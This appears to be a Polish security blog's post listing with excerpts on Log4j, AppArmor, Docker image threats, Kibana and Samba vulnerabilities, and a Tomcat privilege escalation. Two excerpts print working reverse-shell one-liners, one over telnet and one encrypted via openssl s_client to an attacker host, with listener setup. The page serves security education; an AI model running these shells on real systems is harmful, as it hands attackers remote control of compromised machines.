Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/rsh; sh -i 2>&1 < /tmp/rsh | telnet 127.0.0.1 31337 > /tmp/rsh; rm /tmp/rsh

Więcej informacji: Alh4zr3d on Twitter

Podsumowanie:

Wersje Log4j wcześniejsze niż 2.15.0 są narażone na lukę umożliwiającą zdalne wykonanie kodu głównie za pośrednictwem parsera LDAP JNDI. Zgodnie z przewodnikiem bezpieczeństwa tego projektu z fundacji Apache wersje Log4j <= 2.14.1 posiadają funkcje JNDI używane w konfiguracji, komunikatach logów i parametrach nie są chronione przed punktami końcowymi, które atakujący może wstrzyknąć i np. za pomocą protokołu LDAP (lub innego) pobrać i wykonać dowolny kod z zdalnego zasobu. Serwer z podatną wersją Log4j, do którego atakujący może wysyłać kontrolowane przez siebie komunikaty logów np. frazy wyszukiwania lub wartości nagłówków HTTP może wykonać dowolny kod pobrany z zewnętrznych serwerów LDAP. Wystarczy logować dane wejściowe lub meta dane użytkownika:
[ czytaj całość… ]

A

ppArmor to system obowiązkowej kontroli dostępu (ang. Mandatory Access Control – MAC), który jest rozszerzeniem jądra (ang. Linux Security Modules – LSM) w celu ograniczenia programów do określonego zestawu zasobów. Model bezpieczeństwa AppArmor polega na przywiązywaniu atrybutów kontroli dostępów z programami, a nie z użytkownikami. Ograniczenia są obsługiwane za pomocą profili ładowanych do jądra – najczęściej podczas rozruchu systemu. Profile posiadają zazwyczaj dwa tryby pracy: egzekwowania (ang. enforcement) oraz uskarżania (ang. complain). Profile załadowane w trybie egzekwowania zasad spowodują wymuszanie ograniczeń zdefiniowanych w profilu, a także zgłaszanie prób ich naruszenia za pomocą daemona syslog lub auditd. Profile w trybie składania skarg nie będą egzekwować zasad tylko raportować próby ich naruszenia. Istnieje jeszcze trzeci tryb – audytu (ang. audit), w którym logowane są wszystkie sukcesy i niepowodzenia stosowania zasad z profilu.
[ czytaj całość… ]

D

ocker jako jedno z rozwiązań dla tworzenia kontenerów zyskał ogromną popularność w ciągu kilku ostatnich lat i stał się nowym sposobem pakowania, dostarczania i wdrażania aplikacji. Niestety, jeśli dana technologia się szybko rozwija i jest szeroko adoptowana przez społeczność, staje się również cennym celem dla adwersarzy. Na początku pojawiły się złośliwe obrazy. Były one umieszczane w publicznych rejestrach. Jeśli użytkownik sam lub za namową cyberprzestępcy skłonił się do skorzystania z takiego obrazu w rzeczywistości pobierał i wykonywał złośliwe ładunki (np. koparki kryptowalut), umożliwiał wejście przez tylną furtkę (ang. backdoor), przeszukiwanie logów dla poufnych informacji, czy dostęp do systemu plików hosta z kontenera.
[ czytaj całość… ]

Skoro wszędzie dzisiaj mamy szyfrowanie – wypada, aby powłoki zwrotne również były szyfrowane. W celu uruchomienia serwera do nasłuchu należy wygenerować klucz oraz certyfikat na maszynie (o IP: 1.2.3.4) służącej do ataku:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Odpalenie serwera:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect 1.2.3.4:8080 > /tmp/s; rm /tmp/s

Więcej informacji: RevSSL

2

1 października został opublikowany eksploit wykorzystujący już załataną lukę w komponencie GUI do wizualizacji danych Elasticsearch o nazwie Kibana. Elasticsearch i Kibana są częściami popularnego stosu narzędzi o nazwie Elastic Stack (znanego również jako ELK Stack) – serii otwartych aplikacji służących do scentralizowanego zarządzania logami i nie tylko. CVE-2019-7609 to luka w zabezpieczeniach umożliwiająca wykonywanie dowolnego kodu w rozszerzeniu Kibany – Timelion. Luka została naprawiona w lutym 2019. Zgodnie z poradą firmy Elastic dotyczącą luki osoba atakująca, które ma dostęp do aplikacji Kibana oraz rozszerzenia Timelion „może wysłać żądanie, które spróbuje wykonać kod JavaScript”, co może spowodować, że zostanie wykonane dowolne polecenie na hoście o tych samych uprawnieniach, na których jest uruchomiony silnik nodejs Kibany.
[ czytaj całość… ]

W

szystkie wersje serwera Samba od wersji 3.5.0 są narażone na zdalne wykonanie kodu. Złośliwy użytkownik, który ma możliwość przesłania pliku w postaci współdzielonej biblioteki na udział dający mu prawa zapisu jest w stanie doprowadzić do jej załadowania i wykonania po stronie serwera. Jako obejście luki przed instalacją oficjalnej aktualizacji lub nałożeniem poprawki można wyłączyć obsługę potoków nazwanych w serwerze Samba poprzez dodanie do pliku konfiguracyjnego smb.conf wpisu:

[global]
    nt pipe support = no

i zrestartowaniu daemona smbd.

Więcej informacji: Remote code execution from a writable share

P

akiety zawierające serwer Tomcat (w wersji 6, 7, 8) dostępne w oficjalnych repozytoriach systemów Linux opartych o dystrybucje Debian (wliczając w to Ubuntu) dostarczały podatny skrypt init pozwalający osobom atakującym, które przeniknęły do systemu na konto użytkownika tomcat (na przykład wcześniej eksplorując podatność zdalnego wykonania kodu w hostowanej aplikacji java) na podniesienie uprawnień do użytkownika root i w pełni skompromitować atakowany system. Autor luki powiadomił Debian Security Team i zostały wydane już odpowiednie aktualizacje bezpieczeństwa.

Jeśli pozostajemy w obszarze serwera tomcat warto również zapoznać się z możliwością odczytywania źródłowego kodu za pomocą tego serwera wykorzystując znaki kodowane procentowo.

Więcej informacji: Szczegóły ataku oraz exploit wykorzystujący podatność